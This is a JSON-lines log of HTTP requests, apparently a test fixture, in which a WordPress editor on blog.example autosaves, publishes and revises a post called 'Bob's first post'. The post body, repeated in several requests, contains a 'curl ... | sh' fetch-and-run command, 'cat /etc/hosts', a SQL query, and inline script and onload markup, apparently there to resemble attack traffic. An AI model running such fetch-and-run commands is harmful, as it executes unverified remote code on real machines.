{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/https-status?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=https%3A%2F%2Fexample.org%2Fvideo%2F123&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/url-details?url=https%3A%2F%2Fexample.org%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-renderer/core/archives?context=edit&attributes%5BdisplayAsDropdown%5D=false&post_id=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=11&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/a.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=11&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203235.2958478927612304687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=11&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/?p=11", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/2026/11/09/bobs-first-post/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/?p=11&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/wp-admin/revision.php?revision=12", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=12", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": "compare%5B%5D=12%3A11&action=get-revision-diffs&post_id=11"}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=wp_block", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-list-reusable-blocks,common,forms,admin-menu,dashboard,list-tables,edit,revisions,&load%5Bchunk_1%5D=media,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 85", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": "interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-wp_block&has_focus=true"}
{"method": "POST", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": "_wpnonce=4c458d2a5d&_wp_http_referer=%2Fwp-admin%2Foptions-permalink.php&selection=%2F%25postname%25%2F&permalink_structure=%2F%25postname%25%2F&category_base=&tag_base=&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-permalink.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203251"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=13&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
